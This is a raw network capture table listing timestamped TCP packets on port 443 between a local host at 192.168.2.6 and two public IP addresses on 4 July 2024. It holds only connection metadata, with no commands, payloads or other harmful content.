Jul 4, 2024 20:18:03.961313963 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:03.961388111 CEST	49844	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:03.961735010 CEST	49844	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:03.961749077 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:04.560750961 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:04.566647053 CEST	49844	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:04.566683054 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:04.720706940 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:04.720879078 CEST	443	49844	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:04.720974922 CEST	49844	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:04.722795010 CEST	49844	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:04.722810030 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:04.722835064 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:04.723216057 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:04.723448992 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:04.723462105 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.336591005 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.339039087 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.339050055 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.982954979 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.983021975 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.983036995 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.983118057 CEST	443	49845	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.983160973 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.983793020 CEST	49845	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.985342026 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.985363007 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:05.985425949 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.985729933 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:05.985743046 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.601847887 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.609430075 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.609447002 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.759198904 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.759299040 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.759418011 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.759426117 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.759533882 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.760149002 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.760168076 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.760256052 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.760263920 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.760384083 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.760512114 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.760518074 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.760814905 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.849024057 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.849163055 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.849174023 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.850408077 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.850611925 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.850620985 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.851398945 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.851480961 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.851488113 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.852212906 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.852318048 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.852325916 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.945455074 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.945812941 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.945832968 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.945880890 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.945955992 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.945991039 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946002960 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946034908 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946074963 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.946074963 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.946085930 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946355104 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946365118 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946759939 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946770906 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946809053 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.946816921 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.946857929 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.947187901 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.947643995 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.947712898 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.947725058 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.947770119 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.948142052 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.948317051 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.948415041 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.948422909 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:06.948462963 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:06.949350119 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.049603939 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.049720049 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.049726963 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.049906969 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.049999952 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.050007105 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050220966 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050318956 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.050324917 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050414085 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050508976 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.050514936 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050904036 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.050993919 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.051000118 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.051398993 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.051445007 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.051481962 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.051487923 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.051517963 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.052341938 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.052437067 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.052443027 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.052464008 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.052570105 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.052576065 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.052927971 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.053025007 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.053030014 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.053261995 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.053335905 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.053354979 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.053359985 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.053406000 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.053443909 CEST	443	49846	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.057476997 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.061407089 CEST	49846	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.067604065 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.067665100 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.067842960 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.069410086 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.069425106 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.662470102 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.665164948 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.665198088 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.822546959 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.822736979 CEST	443	49847	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:07.822798967 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.823107958 CEST	49847	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:07.824621916 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.824652910 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:07.824708939 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.824995995 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:07.825010061 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:08.572208881 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:08.574955940 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:08.574990034 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:09.682641983 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:09.682748079 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.682780027 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:09.682893991 CEST	443	49848	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:09.682959080 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.684111118 CEST	49848	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.686119080 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.686151028 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:09.686220884 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.686603069 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:09.686615944 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.344633102 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.349790096 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.349801064 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.558722973 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.558790922 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.559964895 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.559973955 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.560107946 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.560206890 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.560228109 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.560296059 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.560302973 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.561023951 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.561506033 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.561512947 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.561656952 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.648613930 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.648763895 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.648768902 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.649823904 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.649931908 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.649936914 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.650789976 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.650922060 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.650928020 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.652673006 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.652776003 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.652781010 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.708398104 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.738774061 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.738797903 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.738898039 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.738898039 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.738907099 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.738955975 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.739039898 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.739044905 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.739639997 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.739715099 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.739721060 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.740333080 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.740447044 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.740453005 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.741117954 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.741266012 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.741272926 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.742007971 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.742126942 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.742130995 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.742233992 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.742327929 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.742333889 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.743083954 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.743191957 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.743196964 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.789428949 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.789433956 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828516006 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828547001 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828609943 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.828615904 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828649044 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.828700066 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828721046 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828739882 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828783035 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.828788996 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.828799009 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.828969002 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829003096 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829040051 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.829044104 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829060078 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.829519987 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829651117 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.829657078 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829699039 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.829787970 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.829793930 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.830179930 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.830256939 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.830260992 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.830377102 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.830454111 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.830459118 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.831188917 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.831305981 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.831310987 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.831523895 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.831592083 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.831597090 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832128048 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832223892 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.832228899 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832329988 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832441092 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.832446098 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832546949 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832739115 CEST	443	49849	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:10.832814932 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.833252907 CEST	49849	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:10.843723059 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:10.843750000 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:10.848196983 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:10.849142075 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:10.849154949 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:11.436408043 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:11.459731102 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:11.459738016 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:11.633362055 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:11.633513927 CEST	443	49850	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:11.633582115 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:11.634066105 CEST	49850	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:11.636234045 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:11.636331081 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:11.636415005 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:11.636743069 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:11.636779070 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:12.277779102 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:12.279581070 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:12.279604912 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.023479939 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.023680925 CEST	443	49851	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.023736954 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.023889065 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.025137901 CEST	49851	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.036878109 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.036900043 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.037010908 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.037328959 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.037342072 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.671142101 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.673547029 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.673566103 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882265091 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882329941 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882391930 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.882404089 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882443905 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.882781982 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882801056 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.882837057 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.882848024 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.883547068 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.883599997 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.883605957 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.883654118 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.972170115 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.972253084 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.972263098 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.973562956 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.973623037 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.973628998 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.974540949 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.974608898 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.974615097 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.975657940 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:13.975716114 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:13.975720882 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.020770073 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.061769009 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.061805010 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.061860085 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.061922073 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.061927080 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.062267065 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.062341928 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.062347889 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.062805891 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.062875986 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.062881947 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.063488007 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.063558102 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.063563108 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.064610004 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.064677954 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.064685106 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.065473080 CEST	443	49852	13.107.137.11	192.168.2.6
